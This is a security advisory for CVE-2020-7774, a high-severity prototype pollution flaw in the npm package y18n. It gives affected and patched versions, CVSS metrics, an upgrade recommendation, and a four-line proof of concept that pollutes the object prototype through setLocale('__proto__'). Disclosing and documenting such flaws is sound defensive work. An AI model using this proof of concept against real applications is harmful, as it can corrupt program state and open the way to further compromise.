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Prototype Pollution in y18n

High severity GitHub Reviewed Published Mar 29, 2021 to the GitHub Advisory Database • Updated Nov 29, 2023

Package

npm y18n (npm)

Affected versions

< 3.2.2
= 4.0.0
>= 5.0.0, < 5.0.5

Patched versions

3.2.2
4.0.1
5.0.5

Description

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

References

Published by the National Vulnerability Database Nov 17, 2020
Reviewed Mar 12, 2021
Published to the GitHub Advisory Database Mar 29, 2021
Last updated Nov 29, 2023

Severity

High
7.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Weaknesses

CVE ID

CVE-2020-7774

GHSA ID

GHSA-c4w7-xm78-47vh

Source code

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